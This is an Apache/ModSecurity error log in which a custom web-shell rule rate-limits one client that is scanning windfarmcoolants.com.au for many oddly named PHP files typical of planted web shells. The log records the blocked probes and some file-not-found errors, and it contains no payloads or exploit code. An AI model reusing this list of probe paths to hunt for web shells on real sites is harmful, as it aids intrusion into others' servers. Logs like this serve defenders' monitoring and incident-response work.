[Sun Apr 19 05:39:48.731598 2026] [:error] [pid 47886:tid 47904] [client 172.213.136.193:32552] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/9.php"] [unique_id "aeP6JESe8yiyuPrD7yPsgwAAANA"]
[Sun Apr 19 05:39:49.386559 2026] [:error] [pid 15760:tid 15785] [client 172.213.136.193:38341] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/9.php"] [unique_id "aeP6JfSdD_XHQMJ_ISsZEwAAAdE"]
[Sun Apr 19 05:39:50.039670 2026] [:error] [pid 47775:tid 47852] [client 172.213.136.193:17803] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/9.php"] [unique_id "aeP6Jrmztjlk9tsmoexyQAAAAIk"]
[Sun Apr 19 05:39:50.630509 2026] [:error] [pid 47772:tid 47800] [client 172.213.136.193:40799] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/10.php"] [unique_id "aeP6Joc0L16cb4smAz-fkAAAAAs"]
[Sun Apr 19 05:39:51.442974 2026] [:error] [pid 47886:tid 47910] [client 172.213.136.193:27060] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/10.php"] [unique_id "aeP6J0Se8yiyuPrD7yPshwAAANY"]
[Sun Apr 19 05:39:52.553757 2026] [:error] [pid 47773:tid 47834] [client 172.213.136.193:17801] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/10.php"] [unique_id "aeP6KOiBHdnCJDuPq9BVIgAAAFI"]
[Sun Apr 19 05:39:53.092080 2026] [:error] [pid 15764:tid 15833] [client 172.213.136.193:40792] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/10.php"] [unique_id "aeP6KWLL_sqdSHoVp-TroAAAAkc"]
[Sun Apr 19 05:39:53.894885 2026] [:error] [pid 47772:tid 47795] [client 172.213.136.193:21156] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "aeP6KYc0L16cb4smAz-fmwAAAAY"]
[Sun Apr 19 05:39:54.697310 2026] [:error] [pid 47773:tid 47832] [client 172.213.136.193:27064] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "aeP6KuiBHdnCJDuPq9BVJgAAAFA"]
[Sun Apr 19 05:39:55.469560 2026] [:error] [pid 47886:tid 47891] [client 172.213.136.193:40805] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "aeP6K0Se8yiyuPrD7yPsjwAAAMM"]
[Sun Apr 19 05:39:56.143707 2026] [:error] [pid 47773:tid 47820] [client 172.213.136.193:27008] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "aeP6LOiBHdnCJDuPq9BVKQAAAEQ"]
[Sun Apr 19 05:39:56.900281 2026] [:error] [pid 47773:tid 47835] [client 172.213.136.193:17793] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/nastar.php"] [unique_id "aeP6LOiBHdnCJDuPq9BVKwAAAFM"]
[Sun Apr 19 05:39:57.506725 2026] [:error] [pid 47886:tid 47905] [client 172.213.136.193:27009] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/nastar.php"] [unique_id "aeP6LUSe8yiyuPrD7yPskQAAANE"]
[Sun Apr 19 05:39:58.118039 2026] [:error] [pid 47772:tid 47800] [client 172.213.136.193:40157] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/nastar.php"] [unique_id "aeP6Loc0L16cb4smAz-fowAAAAs"]
[Sun Apr 19 05:39:59.020043 2026] [:error] [pid 47775:tid 47851] [client 172.213.136.193:27066] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/nastar.php"] [unique_id "aeP6L7mztjlk9tsmoexyRQAAAIg"]
[Sun Apr 19 05:39:59.763717 2026] [:error] [pid 47772:tid 47801] [client 172.213.136.193:17838] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35_S.php"] [unique_id "aeP6L4c0L16cb4smAz-fpQAAAAw"]
[Sun Apr 19 05:40:00.493595 2026] [:error] [pid 47775:tid 47845] [client 172.213.136.193:32557] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35_S.php"] [unique_id "aeP6MLmztjlk9tsmoexySgAAAII"]
[Sun Apr 19 05:40:01.262082 2026] [:error] [pid 15765:tid 15864] [client 172.213.136.193:17819] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35_S.php"] [unique_id "aeP6MfRqinw-W5EwQ76DjQAAAos"]
[Sun Apr 19 05:40:01.947152 2026] [:error] [pid 47772:tid 47812] [client 172.213.136.193:40774] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35_S.php"] [unique_id "aeP6MYc0L16cb4smAz-fpwAAABc"]
[Sun Apr 19 05:40:02.565731 2026] [:error] [pid 47772:tid 47798] [client 172.213.136.193:27054] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2026w.php"] [unique_id "aeP6Moc0L16cb4smAz-fqQAAAAk"]
[Sun Apr 19 05:40:03.224473 2026] [:error] [pid 47773:tid 47823] [client 172.213.136.193:40822] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2026w.php"] [unique_id "aeP6M-iBHdnCJDuPq9BVMAAAAEc"]
[Sun Apr 19 05:40:03.935460 2026] [:error] [pid 15694:tid 15751] [client 172.213.136.193:21151] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2026w.php"] [unique_id "aeP6M7imB-jol1fwqAq7fwAAAZg"]
[Sun Apr 19 05:40:04.687597 2026] [:error] [pid 47773:tid 47828] [client 172.213.136.193:27063] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2026w.php"] [unique_id "aeP6NOiBHdnCJDuPq9BVMgAAAEw"]
[Sun Apr 19 05:40:05.284999 2026] [:error] [pid 15763:tid 15818] [client 172.213.136.193:17827] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/111.php"] [unique_id "aeP6NbMXv1Y1THOoxaAjtgAAAhY"]
[Sun Apr 19 05:40:05.947510 2026] [:error] [pid 47772:tid 47790] [client 172.213.136.193:40804] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/111.php"] [unique_id "aeP6NYc0L16cb4smAz-fsQAAAAE"]
[Sun Apr 19 05:40:06.607429 2026] [:error] [pid 47775:tid 47844] [client 172.213.136.193:40146] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/111.php"] [unique_id "aeP6Nrmztjlk9tsmoexyUgAAAIE"]
[Sun Apr 19 05:40:07.305756 2026] [:error] [pid 15694:tid 15739] [client 172.213.136.193:40172] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/111.php"] [unique_id "aeP6N7imB-jol1fwqAq7ggAAAY0"]
[Sun Apr 19 05:40:08.335836 2026] [:error] [pid 47773:tid 47825] [client 172.213.136.193:40784] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp1.php"] [unique_id "aeP6OOiBHdnCJDuPq9BVNgAAAEk"]
[Sun Apr 19 05:40:08.979857 2026] [:error] [pid 15764:tid 15828] [client 172.213.136.193:40184] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp1.php"] [unique_id "aeP6OGLL_sqdSHoVp-TrrQAAAkI"]
[Sun Apr 19 05:40:09.769656 2026] [:error] [pid 47773:tid 47830] [client 172.213.136.193:32514] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp1.php"] [unique_id "aeP6OeiBHdnCJDuPq9BVOgAAAE4"]
[Sun Apr 19 05:40:10.352638 2026] [:error] [pid 15760:tid 15774] [client 172.213.136.193:40131] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp1.php"] [unique_id "aeP6OvSdD_XHQMJ_ISsZGQAAAcY"]
[Sun Apr 19 05:40:11.024714 2026] [:error] [pid 47773:tid 47831] [client 172.213.136.193:27062] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aligk.php"] [unique_id "aeP6O-iBHdnCJDuPq9BVPQAAAE8"]
[Sun Apr 19 05:40:11.884350 2026] [:error] [pid 15763:tid 15803] [client 172.213.136.193:40818] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aligk.php"] [unique_id "aeP6O7MXv1Y1THOoxaAjugAAAgc"]
[Sun Apr 19 05:40:12.456751 2026] [:error] [pid 47773:tid 47818] [client 172.213.136.193:40177] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aligk.php"] [unique_id "aeP6POiBHdnCJDuPq9BVPwAAAEI"]
[Sun Apr 19 05:40:13.477561 2026] [:error] [pid 47772:tid 47811] [client 172.213.136.193:40150] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aligk.php"] [unique_id "aeP6PYc0L16cb4smAz-fuwAAABY"]
[Sun Apr 19 05:40:14.195710 2026] [:error] [pid 47772:tid 47789] [client 172.213.136.193:27065] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byrgo.php"] [unique_id "aeP6Poc0L16cb4smAz-fvQAAAAA"]
[Sun Apr 19 05:40:14.946289 2026] [:error] [pid 47772:tid 47807] [client 172.213.136.193:40162] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byrgo.php"] [unique_id "aeP6Poc0L16cb4smAz-fwgAAABI"]
[Sun Apr 19 05:40:15.573885 2026] [:error] [pid 47772:tid 47792] [client 172.213.136.193:38357] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byrgo.php"] [unique_id "aeP6P4c0L16cb4smAz-fxwAAAAM"]
[Sun Apr 19 05:40:16.274482 2026] [:error] [pid 47772:tid 47801] [client 172.213.136.193:27021] File does not exist: /usr/local/apache/htdocs/suspended-page/byrgo.php
[Sun Apr 19 05:40:16.546288 2026] [:error] [pid 47772:tid 47813] [client 172.213.136.193:27021] File does not exist: /usr/local/apache/htdocs/suspended-page/xwpg.php
[Sun Apr 19 05:40:16.793099 2026] [:error] [pid 47772:tid 47796] [client 172.213.136.193:27021] File does not exist: /usr/local/apache/htdocs/suspended-page/ass.php
[Sun Apr 19 05:40:17.032032 2026] [:error] [pid 47772:tid 47799] [client 172.213.136.193:27021] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Sun Apr 19 05:40:18.549159 2026] [:error] [pid 47772:tid 47799] [client 172.213.136.193:27021] File does not exist: /usr/local/apache/htdocs/suspended-page/no18.php
[Sun Apr 19 05:40:18.787888 2026] [:error] [pid 47772:tid 47797] [client 172.213.136.193:27021] File does not exist: /usr/local/apache/htdocs/suspended-page/fine.php
[Sun Apr 19 05:40:19.024433 2026] [:error] [pid 47772:tid 47789] [client 172.213.136.193:27021] File does not exist: /usr/local/apache/htdocs/suspended-page/hplfuns.php
[Sun Apr 19 05:40:19.319349 2026] [:error] [pid 47772:tid 47809] [client 172.213.136.193:27021] File does not exist: /usr/local/apache/htdocs/suspended-page/xa.php
[Sun Apr 19 05:40:19.733106 2026] [:error] [pid 47772:tid 47798] [client 172.213.136.193:27021] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Sun Apr 19 05:40:19.970156 2026] [:error] [pid 47772:tid 47813] [client 172.213.136.193:27021] File does not exist: /usr/local/apache/htdocs/suspended-page/inege.php
[Sun Apr 19 05:40:20.208180 2026] [:error] [pid 47772:tid 47796] [client 172.213.136.193:27021] File does not exist: /usr/local/apache/htdocs/suspended-page/fe5.php
[Sun Apr 19 05:40:20.441911 2026] [:error] [pid 47772:tid 47812] [client 172.213.136.193:27021] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "aeP6RIc0L16cb4smAz-f4gAAABc"]
[Sun Apr 19 05:40:21.772648 2026] [:error] [pid 47886:tid 47889] [client 172.213.136.193:38361] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "aeP6RUSe8yiyuPrD7yPswwAAAME"]
[Sun Apr 19 05:40:23.127424 2026] [:error] [pid 15693:tid 15705] [client 172.213.136.193:38372] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "aeP6R8NMD-ccazQlTskWCQAAAUk"]
[Sun Apr 19 05:40:24.302358 2026] [:error] [pid 47773:tid 47838] [client 172.213.136.193:27032] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "aeP6SOiBHdnCJDuPq9BVUAAAAFY"]
[Sun Apr 19 05:40:25.810466 2026] [:error] [pid 47772:tid 47807] [client 172.213.136.193:40154] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no1.php"] [unique_id "aeP6SYc0L16cb4smAz-f5QAAABI"]
[Sun Apr 19 05:40:27.128523 2026] [:error] [pid 15763:tid 15815] [client 172.213.136.193:40788] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no1.php"] [unique_id "aeP6S7MXv1Y1THOoxaAjyAAAAhM"]
[Sun Apr 19 05:40:28.014062 2026] [:error] [pid 15693:tid 15719] [client 172.213.136.193:38353] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no1.php"] [unique_id "aeP6TMNMD-ccazQlTskWDQAAAVc"]
[Sun Apr 19 05:40:29.382030 2026] [:error] [pid 15764:tid 15836] [client 172.213.136.193:38377] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no1.php"] [unique_id "aeP6TWLL_sqdSHoVp-TrxgAAAko"]
[Sun Apr 19 05:40:30.562327 2026] [:error] [pid 15694:tid 15723] [client 172.213.136.193:40189] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w2025.php"] [unique_id "aeP6TrimB-jol1fwqAq7kgAAAYA"]
[Sun Apr 19 05:40:31.973889 2026] [:error] [pid 47773:tid 47835] [client 172.213.136.193:40133] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w2025.php"] [unique_id "aeP6T-iBHdnCJDuPq9BVdAAAAFM"]
[Sun Apr 19 05:40:33.129000 2026] [:error] [pid 47773:tid 47837] [client 172.213.136.193:40143] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w2025.php"] [unique_id "aeP6UeiBHdnCJDuPq9BVfQAAAFU"]
[Sun Apr 19 05:40:34.770034 2026] [:error] [pid 47773:tid 47831] [client 172.213.136.193:40166] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w2025.php"] [unique_id "aeP6UuiBHdnCJDuPq9BViwAAAE8"]
[Sun Apr 19 05:40:35.619277 2026] [:error] [pid 47886:tid 47891] [client 172.213.136.193:38385] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fvvff.php"] [unique_id "aeP6U0Se8yiyuPrD7yPs0gAAAMM"]
[Sun Apr 19 05:40:36.442664 2026] [:error] [pid 15763:tid 15809] [client 172.213.136.193:40785] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fvvff.php"] [unique_id "aeP6VLMXv1Y1THOoxaAjzQAAAg0"]
